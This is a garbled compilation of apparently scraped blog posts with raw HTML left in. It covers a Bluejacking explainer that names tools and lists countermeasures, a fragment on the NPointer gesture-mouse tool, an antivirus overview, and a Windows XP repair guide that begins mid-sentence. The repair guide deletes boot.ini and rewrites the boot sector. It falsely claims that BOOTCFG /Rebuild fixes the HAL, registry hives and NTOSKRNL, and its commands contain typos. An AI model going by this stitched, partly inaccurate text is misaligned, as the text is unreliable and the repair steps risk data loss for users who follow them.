Bluejacking Bluetooth+Hijacking

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">BlueJacking is one of the mostly harmless activity can happen with any multimedia cell phone. Though it is an unintended and illegal use of a technical feature, mostly hard-core geeks do not find sufficient technical challenge in the activity. For the more serious hacker and crackers looking to explore the security features of their Handset. BlueTooth hacking tools (BlueJacking Tools) should be used in a legal and in ethical way. Remember one thing real people own these devices, and rely on them for everyday tasks, so please remember to <strong>“Do Not Harm”</strong>.</span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;"><b><span style="text-decoration: underline;">N</span><span style="text-decoration: underline;">ow, What Is Exactly Bluejacking</span> ??</b></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">BlueTooth Hijacking or BlueJacking is a technique which used to sending unsolicited messages over Bluetooth to Bluetooth enabled devices such as mobile phones, PDAs or laptops, computers, sending a vCard which typically contains a message in the name field to another Bluetooth enabled device via the OBEX protocol.</span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">As I already said, Bluejacking is usually harmless, however because BlueJacked people generally don’t know what has happened, they may think that their phone is malfunctioning. A BlueJacker will <strong> only send a text message</strong>, but in these days with modern phones it is possible to send sounds, clips and images as well. Bluejacking has been used in marketing campaigns to promote advergames and products.</span></div><div style="text-align: justify;"></div><a href="http://www.blogger.com/null" name="more"></a><span style="font-family: Courier New, Courier, monospace;"><br /></span><br /><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">In <strong> nowadays</strong>, With the increase in the availability of Bluetooth enabled devices (Phone, PDA etc etc), it is often reported that these devices have become vulnerable to virus, Trojan, malware attacks and even complete take over of devices through a trojan horse program although most of these reports are easily debunked. Bluejacking is also confused with Bluesnarfing which is the way in which mobile phones are illegally hacked via Bluetooth.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace; text-decoration: underline;"><br /></span></strong></div><div style="text-align: justify;"><strong><span style="text-decoration: underline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Tools For Bluejacking </span></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">There are many tools that have been developed for BlueJacking, most of the development happened in the 2008 to 2012, where multiple new bluetooth vulnerabilities were discovered. There are not any specific or official tool but are there many tools to assist someone in bluejacking, only a few hidden tools are available for the more sinister  “<strong>BlueSnarfing” or “BlueBugging”</strong>. Most commonly used bluetooth software are<strong> “Bloover” and “Easyjack” </strong></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">BlueJacking is very useful for hackers on that device which do not require authentication and in these days almost<strong> (99%)</strong> handsets are required authentication before making any connection to another Bluetooth enable handset.</span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace; text-decoration: underline;"><strong><br /></strong></span></div><div style="text-align: justify;"><span style="text-decoration: underline;"><strong><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Countermeasures</span></strong></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;">Well after all if you how we can attack with BlueJack, we should also know how we can prevent from BlueJack and what are the countermeasures against BlueJacking. So I am going to give some Countermeasures:-</span></div><span style="font-family: Courier New, Courier, monospace;"><strong><br /></strong><strong>1.</strong> To Prevent BlueJacking, make sure that your device’s <strong>bluetooth is turn off </strong>in certain <strong>public areas</strong> like shopping centers, movie theaters, coffee houses, bars, university and electronic stores.</span><br /><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>2.</strong> Set your Bluetooth device to <strong>invisible or hidden mode </strong> from the main menu. This will prevents the sender from seeing your device.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>3.</strong> Turning your Bluetooth invisible remains a good option when you normally don’t connect with other devices. Enable visibility only when you need to pair your device with another.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>4.</strong> Ignore BlueJacking messages by <strong>refusing or deleting </strong>them. Consider BlueJacking the same way you think about spam.</span></div><div style="text-align: justify;"><strong><span style="font-family: Courier New, Courier, monospace;"><br /></span></strong></div><div style="text-align: justify;"><span style="font-family: Courier New, Courier, monospace;"><strong>5.</strong> Attackers or Hacker begin BlueJacking by placing a message in the name field of their phone like, “Special Offer” or “wow!! you won this prize, enter 123 to unlock” Next, they look for enabled devices in the area and select the one they want to BlueJack. They usually send these messages via Bluetooth.</span></div></div>

In case you just wish to have some gesture controlled mouse controller, then also this post is going to interest you.</span></span></div><span style="background-color: white; line-height: 20px;"><span style="font-family: Courier New, Courier, monospace;"><br />There are lot of tools in the market using which you can control your mouse without any direct contact. Some of them use the webcam to recognize your movements and convert the signals into mouse movements. One good tool that does the same and does well is called the NPointer.</span></span><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIbL7D4OR_9pwkib3u_3l7uA8steUhNxSvYxbNLX768oaie4jowyOZlUMA1UyVziimqya86jeqlS1EfCuPsaLVXKPHbwpVUh7_GGzwkxIG4-PeMbazXpCITpfLl-FgyoouN2e-0cNuov1q/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIbL7D4OR_9pwkib3u_3l7uA8steUhNxSvYxbNLX768oaie4jowyOZlUMA1UyVziimqya86jeqlS1EfCuPsaLVXKPHbwpVUh7_GGzwkxIG4-PeMbazXpCITpfLl-FgyoouN2e-0cNuov1q/s1600/3.jpg" /></a></div><span style="background-color: white;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 20px;">NPointer is an application for gestural computer control in which hand movements are recorded by the webcam connected to your PC and then translated into the mouse movements. The application can also decode the usual mouse operations like clicks, double-clicks, drags and scrolls.

If you plan to use your hand for the mouse control, then place them on the table and keep the webcam straight up. You may wave the hands in air too but table method is better for error free recognition.</span></span></span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ymLqmsxphhzfrpAy3eC5WoFiM31mK9i6YoeN7IKXle4h9tghyphenhyphenKv5BM-ymnjwqNJc6foGf37NIC3ragvLHpp1KxPGJsuC0QRmO8j0eC7X3436mnL46EOc1J1ZLpDS_bgnxUG59RXF3NQ5/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2ymLqmsxphhzfrpAy3eC5WoFiM31mK9i6YoeN7IKXle4h9tghyphenhyphenKv5BM-ymnjwqNJc6foGf37NIC3ragvLHpp1KxPGJsuC0QRmO8j0eC7X3436mnL46EOc1J1ZLpDS_bgnxUG59RXF3NQ5/s1600/3.jpg" /></a></div><br /><span style="background-color: white; line-height: 20px;"><span style="font-family: Courier New, Courier, monospace;"> </span></span><span style="background-color: white;"><span style="font-family: Courier New, Courier, monospace;"><span style="line-height: 20px;">You then need to configure some settings like Motion Speed (how fast the pointer will move compared to the hand movement), Acceleration (how fast the pointer accelerates when hand motion speed changes), Menu timeout (how long the pointer should stay idle before action menu appears) and Movement cut-off (how fast the hand should move to ignore the movement.

How Antivirus Software Works

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Due to ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus software on it. In fact, an antivirus has become one of the most essential software package for every computer.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Even though every one of us have an antivirus software installed on our computers, only a few really bother to understand how it actually works! Well, if you are one among those few who would really bother to understand how an antivirus works, then this article is for you.</span></div><div class="separator" style="clear: both; text-align: center;"></div><a href="http://www.blogger.com/null" name="more"></a><br /><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><h2 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">How Antivirus Works:</span></h2><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">An antivirus software typically uses a variety of strategies in detecting and removing viruses, worms and other malware programs. The following are the two most widely employed identification methods:</span></div><h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">1. Signature-based dectection (Dictionary approach)</span></h3><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">This is the most commonly employed method which involves searching for known patterns of virus within a given file. Every antivirus software will have a dictionary of sample malware codes called <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">signatures </em>in it’s database. Whenever a file is examined, the antivirus refers to the dictionary of sample codes present within it’s database and compares the same with the current file. If the piece of code within the file matches with the one in it’s dictionary then it is flagged and proper action is taken immediately so as to stop the virus from further replicating. The antivirus may choose to repair the file, quarantine or delete it permanently based on it’s potential risk.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">As new viruses and malwares are created and released every day, this method of detection cannot defend against new malwares unless their samples are collected and signatures are released by the antivirus software company. Some companies may also encourage the users to upload new viruses or variants so that, the virus can be analyzed and the signature can be added to the dictionary.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Signature based detection can be very effective, but requires frequent updates of the virus signature dictionary. Hence, the users must update their antivirus software on a regular basis so as to defend against new threats that are released daily.</span></div><h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">2. Heuristic-based detection (Suspicious behaviour approach)</span></h3><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Heuristic-based detection involves identifying <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">suspicious behaviour </em>from any given program which might indicate a potential risk. This approach is used by some of the sophisticated antivirus software to identify new malware and variants of known malware.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Unlike the signature based approach, here the antivirus doesn’t attempt to identify known viruses, but instead monitors the behavior of all programs.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">For example, malicious behaviours like a program trying to write data to an executable program is flagged and the user is alerted about this action. This method of detection gives an additional level of security from unidentified threats.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">File emulation:</span></strong> This is another type of <em style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">heuristic-based approach </em>where a given program is executed in a virtual environment and the actions performed by it are logged. Based on the actions logged, the antivirus software can determine if the program is malicious or not and carry out necessary actions in order to clean the infection.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Most commercial antivirus software use a combination of both signature-based and heuristic-based approaches to combat malware.</span></div><h3 style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin: 0px 0px 0.9em; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-family: Courier New, Courier, monospace; font-size: medium;">Issues of Concern:</span></h3><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Zero-day threats:</span> </strong>A zero-day (zero-hour ) threat or attack is where a malware tries to exploit computer application vulnerabilities that are yet unidentified by the antivirus software companies. These attacks are used to cause damage to the computer even before they are identified. Since patches are not yet released for these kind of new threats, they can easily manage to bypass the antivirus software and carry out malicious actions. However, most of the threats are identified after a day or two of it’s release, but damage caused by them before identification is quite inevitable.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Daily Updates:</span> </strong>Since new viruses and threats are released every day, it is most essential to update the antivirus software so that the virus definitions are kept up-to-date. Most software will have an auto-update feature so that, the virus definitions are updated whenever the computer is connected to the Internet.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;"><strong style="background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="color: #e06666; font-size: medium;">Effectiveness:</span> </strong>Even though an antivirus software can catch almost every malware, it is still not 100% foolproof against all kinds of threats. As explained earlier, a zero-day threat can easily bypass the protective shield of the antivirus software. Also virus authors have tried to stay a step ahead by writing “<a href="http://en.wikipedia.org/wiki/Oligomorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Oligomorphic code">oligomorphic</a>“, “<a href="http://en.wikipedia.org/wiki/Polymorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Polymorphic code">polymorphic</a>” and, more recently, “<a href="http://en.wikipedia.org/wiki/Metamorphic_code" style="-webkit-transition: all 0.2s; background-attachment: scroll; background-color: transparent; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; color: #0060a6; font-weight: bold; margin: 0px; outline: 0px; padding: 0px; text-decoration: initial; vertical-align: baseline;" target="_blank" title="Metamorphic code">metamorphic</a>” virus codes, which will encrypt parts of themselves or otherwise modify themselves as a method of disguise, so as to not match virus signatures in the dictionary.</span></div><div style="background-attachment: scroll; background-color: white; background-image: none; background-position: 0px 0px; background-repeat: repeat repeat; border: 0px; line-height: 23.78333282470703px; margin-bottom: 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;"><span style="font-family: Courier New, Courier, monospace;">Thus user awareness is as important as antivirus software; users must be trained to practice safe surfing habits such as downloading files only from trusted websites and not blindly executing a program that is unknown or obtained from an untrusted source. I hope this article will help you understand the working of an antivirus software.</span></div></div>

Prior to my discovery of an invaluable sequence of commands, our standard procedure was to hook the afflicted drive to an external enclosure, back up a customer’s data and then restore the PC with the customer’s restore discs or an identical copy of Windows with the customer’s OEM license key. If the customer wasn’t keen on the applicable charges for the data backup, we informed them of the potential risks for a Windows repair installation (Let’s face it, they don’t always work right), had them sign a waiver, and we did our best.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Neither of these procedures are cheap in the realm of commercial PC repair, nor do they inspire a tremendous level of confidence in the technician or the hopeful client.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">In an effort to expedite our repair time and retain the sanity of myself and other technicians, I received permission to undertake a case study on a variety of PCs currently in service that exhibited any of the aforementioned symptoms, and I took it upon myself to find a better solution. After crawling through the MSKB, Experts Exchange, MSDN and sundry websites all extolling the virtues of a solution to these problems, I only found one that worked, and it has been reliably serving me for the better part of two weeks on seventeen PCs to date. The process is simple: Get to the Windows Recovery Console for your particular Windows installation, navigate to the root letter of your installation (C: in most cases), issue eight commands, and reboot. The cornerstone of this process is a command called “BOOTCFG /Rebuild” which is a complete diagnostic of the operating system loaded into the recovery console; the purpose of the command is to remove/replace/repair any system files that were preventing the operating system from loading correctly. Amongst the files it fixes are:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Windows Hardware Abstraction Layer (HAL)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Corrupt registry hives (\\WINDOWS\\SYSTEM32\\CONFIG\\</span><wbr style="background-color: white; color: #333333; line-height: 17px;"></wbr><span class="word_break" style="background-color: white; color: #333333; display: inline-block; line-height: 17px;"></span><span style="background-color: white; color: #333333; line-height: 17px;">xxxxxx)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Invalid BOOT.INI files</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">A corrupt NTOSKRNL.EXE</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">A missing NT Loader (NTLDR)</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">The command process may apply to other types of blue screens or Hive/HAL/INI/EXE/DLL-related stop errors, but I have not had the luxury of computers in this type of disrepair. The process I am about to outline is virtually harmless, and if you feel you may be able to correct your PC’s boot-time blue screens and stop errors with the sequence, feel free to try. Let us now begin with a step-by-step instruction for correcting these issues.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">GETTING TO THE WINDOWS RECOVERY CONSOLE</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Insert your Windows XP CD into your CD and assure that your CD-ROM drive is capable of booting the CD. Configuring your computer to boot from CD is outside of the scope of this document, but if you are having trouble, consult Google for assistance.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Once you have booted from CD, do not select the option that states: “Press F2 to initiate the Automated System Recovery (ASR) tool.” You’re going to proceed until you see the following screen, at which point you will press the “R” key to enter the recovery console:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">After you have selected the appropriate option from step two, you will be prompted to select a valid Windows installation (Typically number “1″). Select the installation number, (As mentioned, “1″ in most cases), and hit enter. If there is an administrator password for the administrator account, enter it and hit enter.

I will introduce them here, and then show the results graphically in the next six steps. These commands are as follows:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: CD ..</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: ATTRIB -H C:\\boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -S C:\\boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATRIB -R C:\\boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: del boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: BOOTCFG /Rebuild</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: CHKDSK /R /F</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: FIXBOOT</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">To “Go up a directory” in computing is to revert back to the directory above the current folder you’re operating in. If, for example, I’m in the C:WINDOWSSYSTEM32 directory, and I want to get at a file in the WINDOWS directory, I would merely type CD .. and I would be taken out of the SYSTEM32 folder and up one level to WINDOWS. We’re going to do the same thing here from the WINDOWS folder to get to the basic root of C:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Now that we are at C: we can begin the process of repairing the operating system</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">and that begins with modifying the attributes of the BOOT.INI file. Briefly, BOOT.INI controls what operating systems the Windows boot process can see, how to load them, and where they’re located on your disk. We’re going to make sure the file is no longer hidden from our prying eyes, remove the flag that sets it as an undeletable system file, and remove the flag that sets it as a file we can only read, but not write to. To do this, we will issue three commands in this step:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -H C:\\BOOT.INI</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -R C:\\BOOT.INI</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -S C:\\BOOT.INI</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">to remove the Hidden, System and Read Only flags.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Now that we’ve modified the attributes for the BOOT.INI file, it’s up for deletion. The syntax for it is simple: { DEL | FILE NAME }, e.g., C:DEL BOOT.INI deletes the BOOT.INI file.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Now for the most important step of our process, the BOOTCFG /REBUILD command which searches for pre-existing installations of Windows XP and rebuilds sundry essential components of the Windows operating system, recompiles the BOOT.INI file and corrects a litany of common Windows errors. It is very important that you do one or both of the following two things: First, every Windows XP owner must use /FASTDETECT as an OS Load Option when the rebuild process is finalizing. Secondly, if you are the owner of a CPU featuring Intel’s XD or AMD’s NX buffer overflow protection, you must also use /NOEXECUTE=OPTIN as an OS Load Option. I will demonstrate both commands for the purpose of this guide, but do not set NOEXECUTE as a load option if you do not own one of these CPUs. For the “Enter Load Identifier” portion of this command, you should enter the name of the operating system you have installed. If, for example, you are using Windows XP Home, you could type “Microsoft Windows XP Home Edition” for the identifier. This gives the process some authenticity, if you’re keen on being a perfectionist.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">This step verifies the integrity of the hard drive containing the Windows XP installation. While this step is not an essential function in our process, it’s still good to be sure that the drive is physically capable of running windows, in that it contains no bad sectors or other corruptions that might be the culprit. No screenshot necessary here! Just type CHKDSK /R /F at the C:> prompt. Let it proceed; it could take in excess of 30 minutes on slower computers, when this is finished move on to the seventh and final step.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">This last step also requires no screenshot. When you are at the C:> prompt,</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">simply type FIXBOOT. This writes a new boot sector to the hard drive and cleans up all the loose ends we created by rebuilding the BOOT.INI file and the system files. When the Windows Recovery Console asks you if you are “Sure you want to write a new bootsector to the partition C: ?” just hit “Y,” then enter to confirm your decision.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">RESULTS AND WRAP-UP</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">It’s time to reboot your PC by typing EXIT in the Windows Recovery Console and confirming the command with a stroke of the enter key. With any luck, your PC will boot successfully into Windows XP as if your various DLL, Hive, EXE and NTLDR errors never existed. You’ve just saved yourself from many hours of work, frustration, potential data loss and shelling out your hard-earned greenbacks at a brick’n'mortar operation.</span></span></div>
